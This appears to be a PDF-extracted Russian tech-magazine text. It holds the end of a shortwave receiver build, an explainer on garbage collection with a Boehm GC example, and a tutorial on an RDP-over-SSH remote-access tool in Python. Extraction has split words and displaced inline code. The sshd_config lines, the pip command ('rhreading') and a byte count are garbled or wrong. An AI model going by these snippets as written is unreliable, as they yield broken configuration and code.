с  экспо нен циаль ной  харак терис тикой.  Так,  экспо нен ту  мож но  пред ста вить
как  ряд  Тей лора,  и  у  нас  уже  появ ляет ся  квад ратич ный  член.  Впро чем,
это работа ет не толь ко для квад ратов.

exp(x) = 1 + x + x  / 2! + x  / 3! + ...
2 3

Это,  разуме ется,  не  стро гое  матема тичес кое  объ ясне ние,  но  оно  дает
понима ние того, что про исхо дит на самом деле.

Что же каса ется прак тичес кой реали зации сме сите ля, то здесь есть уйма
вари антов: это и диод ные сме сите ли, и сме сите ли на тран зисто рах и дву зат‐ 
ворных полевых тран зисто рах. Одна ко из сооб ражений прос тоты и по резуль‐ 
татам нес коль ких экспе римен тов я оста новил ся на спе циали зиро ван ной мик‐ 
росхе ме SA612. Сто ит она недоро го, работа ет хорошо и не тре бует нас трой‐ 
ки. Так же вмес то SA612 мож но исполь зовать SA602.

Фильтр и УПЧ
В при емни ке  УПЧ соб ран на дис крет ных  эле мен тах  и  содер жит  три  кас када
уси ления и сис тему АРУ. Все это при дет ся нас тро ить, что упи рает ся в под бор
единс твен ного резис тора и подс трой ку кон тура по мак симуму сиг нала. К сло‐ 
ву  ска зать,  точ ная  нас трой ка  кон тура  ПЧ  ока залась  не  так  кри тич на
для работы.

Я пораз мышлял, как упростить схе му, и при шел в ито ге к исполь зованию
мик росхе мы  ,  содер жащей  уси литель  ПЧ,  детек тор  и  АРУ,  при  этом
тре бующей  все го  пяток  внеш них  эле мен тов.  А  исполь зование  более  под‐ 
ходяще го квар цевого филь тра   поз волило отка зать ся от кон тура ПЧ
и огра ничить ся одним филь тром.
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В резуль тате схе ма сущес твен но упрости лась, а селек тивность при емни ка
улуч шилась. Прав да, этот вари ант при емни ка так и остался на макете.

Крас ный све тоди од исполь зован как ста били затор нап ряжения. Работа ет эта
схе ма не хуже уси лите ля на дис крет ных эле мен тах, при этом не тре бует нас‐ 
трой ки и не склон на к самовоз бужде нию.

Входная цепь
Вход ная цепь пред став ляет собой два свя зан ных кон тура, перес тра иваемых
с помощью сдво енно го перемен ного кон денса тора. На вход ной кон тур через
катуш ку свя зи пода ется сиг нал с атте нюато ра, выпол ненно го на перемен ном
резис торе. Наличие атте нюато ра здесь поз воля ет избе жать перег рузки УПЧ
при при еме мощ ных стан ций и дела ет работу с при емни ком более ком фор‐ 
тной.  Так,  в  хороший  день  на  16  м  мож но  при нимать  пару  стан ций,  даже
не под клю чая антенну!

В слу чае же сла бых стан ций помога ет точ ная подс трой ка кон туров. Конеч‐ 
но,  перес тра иваемые  вруч ную  кон туры  вход ного  филь тра  не  очень  удоб ны
и тре буют нас трой ки при сме не диапа зона, но это ком про мисс меж ду прос‐ 
тотой и эффектив ностью. Впро чем, если очень хочет ся, то один кон тур мож но
выкинуть. Работать будет нес коль ко хуже, зато нас тра ивать про ще.

А вот исполь зование варика пов во вход ном кон туре уже не так эффектив‐ 
но, осо бен но учи тывая, что управлять ими с помощью ШИМ проб лематич но
из‐за помех. Поэто му если хочет ся пол ностью авто мати чес кой перес трой ки,
то  сто ит  задумать ся  о  перек люча емых  полосо вых филь трах,  которые мож но
ком мутиро вать  с  помощью реле,  как  в  про фес сиональ ной  аппа рату ре. Это,
конеч но,  замет но  усложнит  конс трук цию,  зато  мож но  будет  отка зать ся
от полево го тран зисто ра на вхо де.

К  авто мати зации мож но  подой ти  и  с  дру гой  сто роны,  добавив  еще один
пре обра зова тель  час тоты с дос таточ но  высокой ПЧ  (ска жем, 10,7 МГц),  что
поз волит заменить полосо вые филь тры на ФНЧ. Но это уже дру гая исто рия,
которая выходит за рам ки сегод няшней статьи.

Антенна
Хо тя  фор маль но  антенна  и  не  часть  при емни ка,  но  имен но  от  нее
зависит  90  про цен тов  успе ха,  осо бен но  если  речь  идет  о  круп ном  городе.
Нес коль ко мет ров про вода, натяну тых в ком нате, — пло хой вари ант, пос коль‐ 
ку поз волит при нять лишь самые мощ ные стан ции (и то если звез ды сой дут‐ 
ся). Уве рен ные резуль таты при миниму ме зат рат мож но получить, исполь зуя
про вод,  про тяну тый  от  окна  к  бли жай шему  дереву  мет ров  на  пять‐десять.
Под клю чать такую антенну луч ше через сог ласу ющий тран сфор матор.

Тран сфор матор  мота ется  на  фер ритовой  труб ке  от  кабеля  монито ра,
антенная обмотка содер жит десять вит ков,  катуш ка свя зи два вит ка. Вто рой
конец антенной  катуш ки  зазем ляет ся. Всег да луч ше исполь зовать нор маль‐ 
ное зазем ление, но на худой конец сой дет и батарея. Выход тран сфор матора
соеди няют  со  вхо дом  при емни ка  коак сиаль ным  кабелем.  Это,  безус ловно,
сур рогат ная  антенна,  но  на  нее  уже  что‐то  мож но  ловить,  вплоть  до  ави‐ 
адиапа зона.

Ес ли есть воз можность натянуть пол ноцен ный диполь, надо, конеч но, так
и  сде лать,  резуль тат  будет  луч ше.  А  если  воз можнос ти  натянуть  даже  сур‐ 
рогат ную  антенну  нет,  мож но  сде лать    и  помес тить  ее,  ска жем,
на бал кон. Работа ет она очень даже неп лохо, если не забирать ся выше 40 м.

ра моч ную

НЕСКОЛЬКО СОВЕТОВ НАПОСЛЕДОК
Прис тупая к изу чению КВ‐эфи ра, сле дует пом нить, что качес тво ради опри ема
силь но зависит от сос тояния ионос феры, а зна чит, и от вре мени суток, вре‐ 
мени года и сол нечной активнос ти. Так, днем хорошо слыш но на 25 м и выше,
вечером ожи вают диапа зоны 31 и  41 м,  бли же  к  ночи 49 м,  а  ночью мож но
услы шать и сред ние вол ны.

Пред став ленная  конс трук ция  работа ет  в  диапа зоне  5800–20  000  кГц,
одна ко это обус ловле но лишь вход ным филь тром. Нич то не меша ет под клю‐ 
чить к ней маг нитную антенну и спус тить ся на длин ные вол ны или, нап ротив,
под клю чить соот ветс тву ющий кон тур и слу шать ави адиапа зон. При этом даже
схе мотех нику менять не понадо бит ся.
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КОДИНГ

Ког да  чита ешь  дис куссии  меж ду  сто рон никами  и  про тив‐ 
никами  авто мати чес кого  управле ния  памятью,  может  сло‐ 
жить ся  впе чат ление,  буд то  это  какая‐то  еди ная  тех нология,
оди нако во  реали зован ная  во  всех  язы ках  прог рамми рова‐ 
ния. В этой статье мы погово рим о сбор ке мусора — наибо‐ 
лее рас простра нен ном механиз ме управле ния памятью.

Спо ры  на  эту  тему  вооб ще  неред ко  зву чат  как  «чис тый С  про тив  осталь ных
язы ков». В дей стви тель нос ти авто мати чес кое управле ние памятью в С впол‐ 
не воз можно и при меня ется на прак тике, да и «осталь ные язы ки» и раз ные их
реали зации силь но отли чают ся друг от дру га.

ОШИБКИ УПРАВЛЕНИЯ ПАМЯТЬЮ
Для  начала  вспом ним,  от  чего  нас  спа сает  авто мати чес кое  управле ние
памятью.

Пер вая и самая извес тная, но при этом не самая опас ная — утеч ка памяти
(memory leak). Утеч ка про исхо дит, если зап росить у ядра ОС память и забыть
ее вер нуть. В тер минах язы ка С — выз вать   и забыть  . Прог‐ 
рамма с этой проб лемой будет занимать все боль ше и боль ше памяти, пока
ее не оста новит поль зователь или сама ОС. Поведе ние прог раммы при этом
оста ется кор рек тным, и проб лем с безопас ностью утеч ки не вызыва ют.

malloc() free()

Вто рая проб лема — висячие ука зате ли (dangling pointers). Суть проб лемы
в  том,  что  в  прог рамме  оста ется  ука затель  на  учас ток  памяти,  который  уже
был осво бож ден. Для пов торно го обра щения к такой памяти есть отдель ный
тер мин — use after free. Такие ошиб ки гораз до опас нее, и пос ледс твия могут
быть самыми раз ными: от слож ных в отладке глю ков до воз можнос ти выпол‐ 
нить про изволь ный код — база CVE  .не даст сов рать

Бо лее  ред кий  вари ант  проб лемы  с  висячим  ука зате лем  —  пов торное
осво бож дение (double free), которое унич тожа ет полез ные дан ные.

Та ким  обра зом,  от  решения  для  авто мати чес кого  управле ния  тре буют ся
два свой ства: никог да не уда лять из памяти объ екты, на которые есть живые
ука зате ли,  и  по  воз можнос ти  не  оставлять  в  памяти  объ екты,  на  которые
живых ука зате лей нет.

ЧТО ДЕЛАЕТ СБОРЩИК МУСОРА?
Уп рощен но мож но ска зать,  что при запус ке  у прог раммы есть неп рерыв ный
диапа зон  адре сов,  куда  она  может  помес тить  свои  дан ные.  Прог рамма
с  авто мати чес ким  управле нием  памятью  сра зу  при  запус ке  зап рашива ет
у  ОС  область  памяти  под  «кучу»  (heap).  Началь ный  раз мер  кучи  час то  (но
не  всег да)  мож но  нас тро ить  во  вре мя  ком пиляции  или  выпол нения.
При выпол нении прог раммы раз мер кучи может рас ти.

Пос ле это го сбор щик мусора пери оди чес ки сле дит за тем, какие учас тки
памяти еще содер жат нуж ные дан ные, а какие мож но осво бодить и запол нить
новыми дан ными. Как имен но он это дела ет — зависит от реали зации, но об
этом даль ше. Для начала раз веем более прос тые мифы.

СБОРЩИК МУСОРА — ЧАСТЬ ЯЗЫКА?
Час то мож но услы шать утвер жде ния вро де «Ruby — язык со сбор кой мусора»
или «С — язык с руч ным управле нием памятью». Пер вое утвер жде ние вер но
в  том смыс ле,  что ни одна реали зация Ruby не пре дос тавля ет воз можность
управлять памятью вруч ную.

Со вто рым утвер жде нием слож нее. Сбор ка мусора не вхо дит в спе цифи‐ 
кацию  язы ка С.  Тем  не менее  спе цифи кация  ее  и  не  зап реща ет. Спе цифи‐ 
кация  язы ка  ада  так же  не  навязы вает  авто рам  ком пилято ров  какую‐то  кон‐ 
крет ную  модель  управле ния  памятью,  но  некото рые  ком пилято ры  при  этом
пре дос тавля ют опци аль ный сбор щик мусора.

Та кие  ком пилято ры  С  мне  неиз вес тны,  но  на  прак тике  авто мати чес ки
управлять памятью в прог раммах на С впол не воз можно с помощью сто рон‐ 
них биб лиотек.

Для при мера мы возь мем  . Это весь ма зре лый и фун кци ональ‐ 
ный про дукт, который исполь зовали или поныне исполь зуют мно жес тво про‐ 
ектов:  как  при ложе ний  (нап ример,  век торный  гра фичес кий  редак тор

), так и реали заций язы ков прог рамми рова ния.

Boehm GC

Inkscape

Используем Boehm GC
Мно гие дис три бути вы Linux пре дос тавля ют пакет с Boehm GC в репози тори‐ 
ях,  чаще все го под име нем  . В  Fedora  его мож но  пос тавить  коман дой

,  в  Debian  — 
.

libgc
sudo  dnf  install  libgc‐devel sudo  apt‐get  install 
libgc‐dev

Для  демонс тра ции  мы  напишем  прог рамму,  которая  неп рерыв но  зап‐ 
рашива ет память под мас сив из тысячи целых чисел, но никог да ее не осво‐ 
бож дает. Если бы мы исполь зовали для выделе ния памяти клас сичес кий 

, это была бы хрес томатий ная утеч ка памяти. Но мы обра тим ся не нап‐ 
рямую к ОС, а к менед жеру памяти Boehm GC с помощью фун кции 

 и пос мотрим, что будет.

mal‐
loc()

GC_MAL‐
LOC()

Сох раним сле дующий код в файл  .gctest.c

#include "gc.h"
#include <stdio.h>

   int main() {
   GC_INIT();

     while(1) {
       printf("Allocating memory\n");

                int *p = (int*)GC_MALLOC(sizeof(int) * 1000);
        printf("There are %d free bytes in the heap now\n",

GC_get_free_bytes());
       printf("Making the object unreachable\n");

          p = NULL;
        printf("There are %d free bytes in the heap now\n",

GC_get_free_bytes());
   }
}

Вы зовом    мы  зап‐ 
рашива ем  память  на  мас сив  из  тысячи  32‐бит ных  целых  чисел  (4069  байт)
и  сох раня ем  ука затель  на  этот  учас ток  памяти  в  перемен ной  .  Далее  мы
дела ем эту память недос тупной, заменив зна чение   нулевым ука зате лем.

int  *p  =  (int*)GC_MALLOC(sizeof(int)  *  1000)

p
p

Те перь ском пилиру ем его коман дой  .gcc ‐lgc ./gctest.c ‐o gctest
В выводе прог раммы мы будем пери оди чес ки наб людать сле дующую кар‐ 

тину:  объ ем  дос тупной  памяти  будет  падать  спер ва  до  8192  байт,  затем
до  4096  и,  наконец,  до  нуля.  Ког да  он  дос тигнет  нуля,  сле дующая  попыт ка
выделе ния памяти скач ком уве личит дос тупный объ ем.

 

 

 
... 
There are 4096 free bytes in the heap now 
Making the object unreachable 
There are 4096 free bytes in the heap now 
Allocating memory 
There are 0 free bytes in the heap now 
Making the object unreachable 
There are 0 free bytes in the heap now 
Allocating memory 
There are 258048 free bytes in the heap now

$ ./gctest

По умол чанию Boehm GC выпол няет сбор ку мусора толь ко при острой необ‐ 
ходимос ти —  ког да  новую  память  взять  уже  нег де.  Если  добавить  в  начало
фун кции   вызов  , сбор ка мусора будет про‐ 
изво дить ся чаще и объ ем сво бод ной памяти не ста нет падать до нуля.

main() GC_enable_incremental()

Во обще,  у  Boehm  GC  мно жес тво  опций,  которые  мож но  менять
как изнутри прог раммы, так и извне с помощью перемен ных окру жения.

СБОРЩИК МУСОРА — НЕУПРАВЛЯЕМЫЙ ЧЕРНЫЙ ЯЩИК?
Дру гое  рас простра нен ное  мне ние:  сбор ка  мусора —  это  всег да  «магичес‐ 
кий», скры тый от поль зовате ля и неуп равля емый про цесс.

Как мы  уже  уви дели  на  при мере Boehm GC,  это  не  сов сем  вер но.  Авто‐ 
мати чес кое  управле ние  памятью —  это  всег да  ком про мисс,  и  раз ные  при‐ 
ложе ния  тре буют  раз ных  так тик  сбор ки  мусора  для  луч шей  про изво дитель‐ 
нос ти. Авто ры средств раз работ ки это прек расно понима ют.

Ав торы  Boehm  GC  откры то  приз нают,  что 
может  ухуд шить  общее  вре мя  выпол нения  прог раммы,  но  повысить  ее
отзывчи вость.  Что  луч ше  для  каж дой  кон крет ной  прог раммы,  могут  решить
толь ко ее автор и поль зовате ли.

GC_enable_incremental()

JVM  пре дос тавля ет  огромное  количес тво    для  выбора  стра тегии
сбор ки мусора и ее парамет ров.   тоже содер жит ряд
опций, нес мотря на репута цию ака деми чес кого язы ка.

оп ций
Glasgow Haskell Compiler

Не кото рые  реали зации  язы ков  так же  поз воля ют  управлять  сбор кой
мусора  и  получать  дан ные  об  исполь зовании  памяти  изнутри  прог раммы:
нап ример,  ,  ,  .  Авто ры  прог рамм  иног да  пред почита ют
запус кать  сбор ку мусора  вруч ную,  ког да  свя зан ная  с  этим  крат ковре мен ная
потеря про изво дитель нос ти мень ше все го замет на для поль зовате ля.

Python Ruby OCaml

Тем не менее в некото рых язы ках и их интер пре тато рах дей стви тель но нет
воз можнос тей для руч ной нас трой ки управле ния памятью. Нап ример, в Perl.
Но это и не самая боль шая из проб лем интер пре тато ров язы ка Perl.

ВСЕ РЕАЛИЗАЦИИ СБОРКИ МУСОРА ОДИНАКОВЫ?
Пер вые  реали зации  сбор ки  мусора  появи лись  еще  в  шес тидеся тых  годах
прош лого  века,  в  интер пре тато рах  язы ка  лисп.  С  тех  пор  методы  поис ка
«мер твой» памяти и ее осво бож дения неп рерыв но совер шенс тво вались. Увы,
появ ление новых, более эффектив ных методов не озна чает, что их сра зу нач‐ 
нут исполь зовать во всех язы ках.

Иног да реали зации язы ков про дол жают при дер живать ся ста рых методов
по  исто ричес ким  или  прак тичес ким  при чинам.  К  при меру,  Perl  исполь зует
самую прос тую стра тегию из воз можных — под счет ссы лок.

Подсчет ссылок и его проблемы
Ког да  прог раммист  на  Perl  пишет  ,  интер пре татор
помеща ет  зна чение    в  память  и  сох раня ет  в    ука затель
на него. Если прис воить его дру гой перемен ной ( ) или помес‐ 
тить в мас сив ( ), счет чик ссы лок уве личи вает ся на еди ницу.
Как  толь ко  перемен ные    или    вый дут  из  области  видимос ти,
счет чик умень шает ся. Ког да счет чик дос тигнет нуля, память со стро кой 

 счи тает ся недос тижимой и осво бож дает ся.

$msg  =  "hello  world"
"hello world" $msg

$hello = $msg
@msgs = ($msg)

$hello @msgs
"hel‐

lo world"
Оче вид ная проб лема это го под хода — цик личес кие ссыл ки соз дают утеч ку

памяти.  Рас смот рим  для  при мера  .  Что бы  спи сок  мож но
было  про ходить  в  обо их  нап равле ниях,  пос леду ющий  эле мент  ссы лает ся
на пре дыду щий, и наобо рот. Оче вид но, при исполь зовании прос того под сче‐ 
та ссы лок для опре деле ния недос тупной памяти ни один эле мент двус вязно го
спис ка никог да не ста нет недос тупен.

двус вязный  спи сок

Ав торы Perl    эту  проб лему  и  совету ют  вруч ную  исполь‐ 
зовать  сла бые  ссыл ки  (weak  references).  Почему  они  не  переш ли  на  более
совер шенные методы? Perl  чаще все го исполь зуют для неболь ших скрип тов
или  во  вся ком  слу чае  не  для  прог рамм  со  слож ными  алго рит мами  и  струк‐ 
турами дан ных, поэто му для  типич ного исполь зования это не соз дает проб‐ 
лем.  Одна ко  об  этом  нуж но  пом нить,  что бы  слу чай но  не  пос читать  Perl
хорошо при год ным для работы с такими струк турами дан ных.

от кры то приз нают

Python  так же  исполь зует  под счет  ссы лок  как  основной  механизм,  но,
в отли чие от Perl, содер жит  . Поиск цик‐ 
личес ких ссы лок — это более зат ратная опе рация, поэто му он не про водит ся
на каж дом цик ле сбор ки мусора, но, по край ней мере, струк туры дан ных вро‐ 
де двус вязных спис ков и цик личес ких гра фов не оста нут ся в памяти нав сегда.

ал горитм поис ка цик личес ких ссы лок

Tracing garbage collectors
Не кото рые  дума ют,  что  все  сбор щики  мусора  исполь зуют  под счет  ссы лок,
и  совер шенно  зря.  Мно гие  язы ки  и  их  ком пилято ры  исполь зуют  схе му
с  отсле жива нием  (tracing  garbage  collector).  Такие  алго рит мы  начина ют
работу от «заведо мо дос тупных» объ ектов  (нап ример,  гло баль ных перемен‐ 
ных) и отме чают все объ екты, на которые те ссы лают ся, — для отметки дос‐ 
тупнос ти  слу жат  зарезер вирован ные  биты.  Затем  объ екты,  которые
не помече ны как исполь зуемые, осво бож дают ся.

Ал горит мы  это го  семей ства  объ еди няют ся  тер мином  mark‐and‐sweep.
Сре ди их поль зовате лей — JVM, .Net, Go, OCaml и мно гие дру гие язы ки и их
биб лиоте ки вре мени выпол нения.

В отли чие от под сче та ссы лок, эти алго рит мы поз воля ют выпол нять сбор ку
мусора парал лель но с выпол нени ем самой прог раммы. На прак тике эта воз‐ 
можность реали зова на не всег да, и мно гопо точ ная сбор ка мусора без ущер‐ 
ба для ско рос ти выпол нения одно поточ ных прог рамм все еще откры тая и не
до кон ца решен ная проб лема. JVM, к при меру, пре дос тавля ет как одно поточ‐ 
ную, так и парал лель ную реали зацию для раз ных слу чаев.

ЗАКЛЮЧЕНИЕ
Зна ешь ли ты, как твой любимый язык и его реали зация управля ют памятью?
Неред ко  имен но  это  зна ние  отли чает  нович ка  от  экспер та,  осо бен но  если
речь  идет  о  при ложе ниях  с  высокой  наг рузкой,  пос коль ку  вер ный  выбор
опций сбор ки мусора может силь но уско рить работу прог раммы.

Воз можно  ли  авто мати чес кое  управле ние  памятью  без  сбор ки  мусора
и  свя зан ных  с  ней  потерь  про изво дитель нос ти?  Да,  но  об  этом  —  в  сле‐ 
дующий раз.
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КОДИНГ

Ког да  в  кино  показы вают,  как  на  Зем ле  раз ража ется  эпи‐ 
демия  страш ного  вируса,  людям  там  нуж ны  в  основном
тушен ка  и  пат роны.  Ког да  эта  фан тасти ка  воп лотилась
в  реаль нос ти,  ока залось,  что  нуж нее  все го  —  туалет ная
бумага  и  уда лен ные  рабочие  мес та.  И  если  с  пер вым  все
понят но,  вто рой  пункт  вызыва ет  воп росы  с  точ ки  зре ния
безопас ности и выбора ПО. Ког да готовое решение не под‐ 
ходит, нуж но брать ся за сбор ку сво его велоси педа.

Сер висы, с помощью которых мож но орга низо вать под клю чение сот рудни ков
на уда лен ке, обыч но работа ют через свои сер веры. Поч ти всег да соеди нение
получа ется мед леннее пря мых под клю чений, да и безопас ность таких служб
тоже под боль шим воп росом. Чаще все го архи тек тура этих решений пос тро‐ 
ена вок руг реали зации VNC (Virtual Network Computing). Сис тема базиру ется
на про токо ле RFB  (Remote FrameBuffer). Управле ние устро ено так: с одно го
компь юте ра  на  дру гой  переда ются  нажатия  кла виш  и  дви жения  мыши
и  содер жимое  экра на  рет ран сли рует ся  через  сеть.  Сам  VNC  не  шиф рует
переда ваемые  дан ные.  Если  тре бует ся  обес печить  повышен ную  безопас‐ 
ность, сес сия может быть уста нов лена через SSL, SSH или VPN‐тун нели, что
нес коль ко усложня ет задачу.

На  пуб личных  сер висах  все  соеди нения  уста нав лива ются  через  сер вер,
который  выда ет  ID  кли ентов,  под клю чая  их  либо  через  VPN  нап рямую  друг
к дру гу,  либо  через собс твен ный  канал. Конеч но, мож но под нять  свой VPN‐
сер вер, нас тро ить мар шру тиза цию VPN‐сети и локаль ной сети пред при ятия
и под клю чать сот рудни ков по пря мым IP‐адре сам. В этом слу чае кли енту нуж‐ 
но, помимо логина, пароля и адре са под клю чения, передать еще кли ент VPN
и  дан ные  для  авто риза ции.  Для  некото рых  поль зовате лей  все  это  слож‐ 
новато, а это, в свою оче редь усложнит под дер жку.

Проб росить  пор ты  на  локаль ные  ПК  тоже  не  вари ант.  Это  небезо пас но,
да  и  нас тра ивать  мар шру тиза цию  замуча ешь ся,  ког да  кли ентов  ста новит ся
боль ше двух. В Linux есть замеча тель ный кли ент  , который поз воля ет
проб расывать сес сии RDP/VNC через SSH‐соеди нение без допол нитель ных
кли ентов. В Windows мож но орга низо вать SSH‐тун нели через кли ент ские при‐ 
ложе ния,  которые  необ ходимо  нас тра ивать  на  уда лен ных  поль зователь ских
машинах.  SSH‐кли ент  «из  короб ки»  есть  толь ко  в  Windows  10,  но  как  быть
с юзе рами семер ки и вось мер ки? Да и для Windows 10 при дет ся писать бат‐ 
ник,  и  не  один.  Все  это  не  добав ляет  бал лов  стан дар тным  решени ям.
Но всег да мож но при думать нес тандар тное. Чем мы пря мо сей час и зай мем‐ 
ся.

Remmina

ПОСТАНОВКА ЗАДАЧИ
Итак,  задача  у нас будет сле дующая. Под клю чать поль зовате ля по    (как
выяс нилось, это нам ного при выч нее для боль шинс тва из них). Самое глав ное
пре иму щес тво  RDP  по  срав нению  с  VNC  —  это  ско рость.  RDP  быс трее
потому, что этот про токол перери совы вает на сто роне кли ента толь ко изме‐ 
нен ную  часть  экра на,  а  зна чит,  дан ных  переда ется  мень ше.  Под клю чение
дол жно  быть  безопас ным.  Под клю чение  дол жно  выпол нять ся  с  минималь‐ 
ными нас трой ками и не  тре бовать от поль зовате ля никаких допол нитель ных
дей ствий.

RDP

А ЧТО СКАЖЕТ GOOGLE?
В общем‐то, задача не новая, и реали заций пос тро ения SSH‐тун неля сущес‐ 
тву ет доволь но мно го. В Google мож но с ходу най ти 
или  . Мы сво их поль зовате лей любим (и свои нер вы
тоже).  А  зна чит,  надо  дать  им  такой  инс тру мент,  который  не  нуж но  нас тра‐ 
ивать и который будет работать надеж но.

ре шения на базе PuTTY
ва риан ты для Windows 10

Ины ми сло вами, решение дол жно отве чать сле дующим тре бова ниям:
прос тота для поль зовате ля;•
лег кость под дер жки;•
прос тая и понят ная под готов ка и нас трой ка «сер верных час тей».•

Ре шение будет осно вано на тех нологии RDP over SSH. Тех ничес ки мы орга‐ 
низу ем это так:

кли ент SSH для орга низа ции тун неля с проб росом пор та до целево го ПК
под клю чения;

•

ав томати чес кий  старт  RDP‐сес сии  без  допол нитель ного  вво да  парамет‐ 
ров под клю чения.

•

Сис тема дол жна быть лег ко встра иваемой, и дол жен быть  кли ент для прод‐ 
винутых поль зовате лей (опци ональ но).

ГОТОВИМ СЕРВЕРНУЮ ЧАСТЬ
Прос тые  вещи  вро де  нас трой ки  RDP  или  SSH‐сер вера  мы  рас смат ривать
не  будем. Инс трук ций  в  интерне те  име ется  тьма,  а  у  нас  объ ем  огра ничен,
да и перег ружать статью не хочет ся. Так же я не ста ну под робно рас ска зывать,
как реали зовать получе ние дан ных с Kerio Control: на стра нице про екта мож‐ 
но най ти  .го товый код

Пер вым  делом  нам  нуж но  раз решить  RDP‐под клю чения  на  кли ент ских
машинах  в  локаль ной  сети.  Если  там  реали зова но  цен тра лизо ван ное
управле ние  типа  Active  Directory,  тебе  повез ло.  Раз реша ем  под клю чение
к RDP в груп повых полити ках. Если нет, обхо дим рабочие мес та ногами и раз‐ 
реша ем на целевых локаль ных машинах RDP. Не забыва ем и о фай рво лах.

Вто рым  шагом  нам  понадо бит ся  дос тупный  из  интерне та  SSH‐сер вер.
Тех ничес ки подой дет любое решение. Я исполь зовал VPS с Debian 10 (один
мой  зна комый  под нимал  такой  сер вак  даже  на  роуте ре,  что  небезо пас но).
Даль ше  сто ит  раз делить  решения  на  нес коль ко  вер сий,  кон крет ная  реали‐ 
зация зависит от того, как орга низо вано получе ние дан ных для авто риза ции
поль зовате лей.

Пер воначаль но у нас исполь зовал ся Kerio с авто риза цией поль зовате лей
через AD.

Схе ма под клю чения

Кли ент  под клю чал ся  по  SSH,  проб расывал  порт  на  API  Kerio  Control  Server,
затем под клю чал ся к нему, выпол нял поиск по задан ным парамет рам (логин
или  фамилия  сот рудни ка),  искал  IP  локаль ного  ПК.  Далее  раз рывал  SSH‐
соеди нение и  уста нав ливал новое  уже с  проб росом пор та  на  най ден ный  IP,
на порт RDP (3389), пос ле чего штат ными средс тва ми Windows под нималась
сес сия RDP с переда чей парамет ров под клю чения.

Та кое решение работа ло доволь но быс тро, но нам это го ста ло мало, и мы
раз делили  его  на  две  час ти.  Сер верный  скрипт  стал  работать  на  SSH‐сер‐ 
вере  и  сам  вре мя  от  вре мени  ходить  в  Kerio  за  информа цией.  Кли ент ская
часть под клю чалась к сер веру по SFTP, иска ла нуж ные дан ные, офор млен ные
в JSON, и выпол няла под клю чение. В ито ге ско рость работы уве личи лась.

Ре комен дую  сра зу  нас тро ить  сер вер  OpenSSH  с  дос тупом  по  клю чам
и под готовить RSA‐клю чи для авто риза ции. Для это го нуж но соз дать отдель‐ 
ного  поль зовате ля  и  огра ничить  его  в  пра вах,  затем  отдать  ему  пуб личную
часть клю ча. Ниже при веду часть   с нас трой ками этих
двух поль зовате лей:

/etc/ssh/sshd_config

   Match User sftp
      PubkeyAuthentication yes

     # PasswordAuthentication yes
 / /     ChrootDirectory srv sftp

  ‐     ForceCommand internal sftp
     AllowTcpForwarding      no

   Match User user1
        X11Forwarding no
 / / /       ForceCommand usr bin cmatrix # Подойдет и любая другая 

заглушка (можно заморочиться и отправлять пользователя в песочный 
bash)

      PasswordAuthentication yes

Пер вому поль зовате лю SFTP раз решено под клю чать ся толь ко к это му самому
SFTP. Вто рому — лишь для проб роса пор тов. Если у тебя исполь зует ся Kerio
для  получе ния дан ных о  поль зовате лях,  Active Directory  или еще  что‐то цен‐ 
тра лизо ван ное, рекомен дую завес ти отдель ную учет ку и огра ничить ее в пра‐ 
вах на вся кий слу чай.

РЕАЛИЗАЦИЯ
Итак,  мы  приб лизились  к  реали зации  намечен ной  цели.  Писать  будем  все
это дело на Python 3.8. Во‐пер вых,  это муль тип латфор менный язык,  во‐вто‐ 
рых,  собира ется  быс тро  и  прос то.  В‐треть их,  он  лег кий  в  осво ении,  в‐чет‐ 
вертых, вклю чает огромное количес тво биб лиотек.

В  про екте  исполь зуют ся  четыре  биб лиоте ки:  sshtunnel,  PyQt5,  threading
и (в нашем слу чае) API Kerio Control, но без него мож но обой тись. На самом
деле я уже все написал и про тес тировал, поэто му прос то покажу,  где какую
стро ку  нуж но  поп равить,  что бы  прог рамма  запус тилась.  Ты можешь  ска чать
написан ную  мною  прог рамму  с    и  пос мотреть,  как  она  устро ена,  а  в
статье я дам необ ходимые пояс нения.

GitHub

INFO

Раз рабаты ваемая  в  текущий  момент  вет ка
называ ется  . Вет ка   реали зова‐ 
на рань ше, в этой вер сии под клю чение про исхо‐ 
дит  на  API  Kerio  и  поиск  IP  по  логину  (фамилии
поль зовате ля) выпол няет ся с помощью это го API.
Фун кция поис ка опи сана в фай ле 

.

develop master

kerio/keri‐
ofunction.py

Биб лиоте ки  луч ше  уста нав ливать  в  отдель ное окру жение Python. Я  собирал
всю опи сыва емую здесь конс трук цию в Debian 10, это сто ит учи тывать.

Итак, соз даем окру жение с Python 3.8 и заходим в него.

virtualenv ‐‐python=3.8 tmp/venv/ 
source tmp/venv/bin/activate 

Ус танав лива ем все необ ходимые биб лиоте ки:

pip install PyQt5 rhreading, sshtunnel 

Да лее запус каем «Qt Дизай нер» и рису ем фор му вхо да. В нашей биб лиоте ке
он дос тупен вот так:

tmp/venv/bin/pyqt5designer 

Соз даем  новое  окно,  под готав лива ем  окно  авто риза ции  и  сох раня ем  его.
Резуль тат  показан  на  скрин шоте  ниже.  Мы  не  меняли  стан дар тные  име на
объ ектов форм, весь при веден ный ниже код сох ранил штат ные наз вания объ‐ 
ектов.

Два вари анта фор мы при ложе ния для обыч ных и прод винутых поль ‐
зовате лей

«QT Дизай нер» сох раня ет фай лы в фор мате  . Кон верти руем их в  ..ui .py

pyuic5 name.ui ‐o name.py 

Или так:

   python ‐m PyQt5.uic.pyuic ‐x [FILENAME].ui ‐o [FILENAME].py 

В  ито ге  получа ем  понят ный  для  Рython  файл  дизай на  .  Теперь
о  том,  как  устро ена  прог рамма  .  Сна чала  под клю чаем  все  необ‐ 
ходимые модули:

desing.py
start.py

     import sys, threading, time
       from PyQt5 import QtWidgets, uic
     from desing import Ui_MainWindow
     from PyQt5.QtCore import QCoreApplication

Да лее идет стан дар тный класс отоб ражения окна PyQt:

 class mywindow(QtWidgets.QMainWindow):
     def __init__(self):

        super(mywindow, self).__init__()
          self.ui = Ui_MainWindow()

       self.ui.setupUi(self)
       self.ui.pushButton.clicked.connect(self.connectionstart)

        self.ui.statusbar.showMessage("Программа готова к работе") # 
Отображаем в статус‐баре состояние программы

За тем  сле дует  нес коль ко  фун кций,  которые  будут  раз делены  по  раз ным
потокам. Сде лано это для того, что бы не бло киро вать интерфейс прог раммы
во  вре мя  выпол нения  кода  этих  фун кций.  Основная  фун кция 

 запус кает ся нажати ем кноп ки  .
connection‐

start pushButton
Эта  фун кция  запус кает  в  отдель ном  потоке  фун кцию  монито рин га  сос‐ 

тояния прог раммы, для отоб ражения его (сос тояния) в ста тус‐баре. Фун кция
про веря ет запол ненность полей логина и пароля. Если одно из полей пус тое,
